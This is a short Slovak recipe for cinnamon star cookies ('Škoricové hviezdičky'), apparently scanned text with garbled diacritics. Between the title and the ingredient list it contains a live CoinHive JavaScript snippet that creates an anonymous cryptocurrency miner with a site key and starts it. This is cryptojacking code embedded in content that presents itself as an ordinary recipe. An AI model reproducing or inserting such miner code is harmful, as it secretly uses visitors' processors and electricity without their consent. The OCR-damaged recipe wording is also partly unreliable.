Skoricové hviezdicky

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU

D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();
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Potrebujeme: 500 g mandli, 3 - 4 vaje¢né bielky, 400 g praskového cukru, 1/2 PL mletej
Skorice, 2 PL Geresnovice alebo citronovej Stavy, cukor na posypanie dosky

Postup: Nelupané mandle zomelieme. Bielky vySfahame na tuhy sneh a primieSame preosiaty
praskovy cukor. 1/3 tejto snehovej hmoty odlozime, zvySok zmieSame s mandlami, Skoricou a
¢eresnovicou (citrénovou stavou). Cesto vyvalkdme na pocukrovanej doske na hrubku asi 1
cm. Vykrajujeme z neho hviezdicky, ktoré ukladame na vymasteny plech. Natrieme ich
odloZenou bielkovou polevou. Cez noc ich nechame schnut. Potom rychlo upedieme v
predhriatej rare tak, aby povrch zostal biely (cca 4-5 minut) pri teplote 200-225°C (cca 70

kusov).




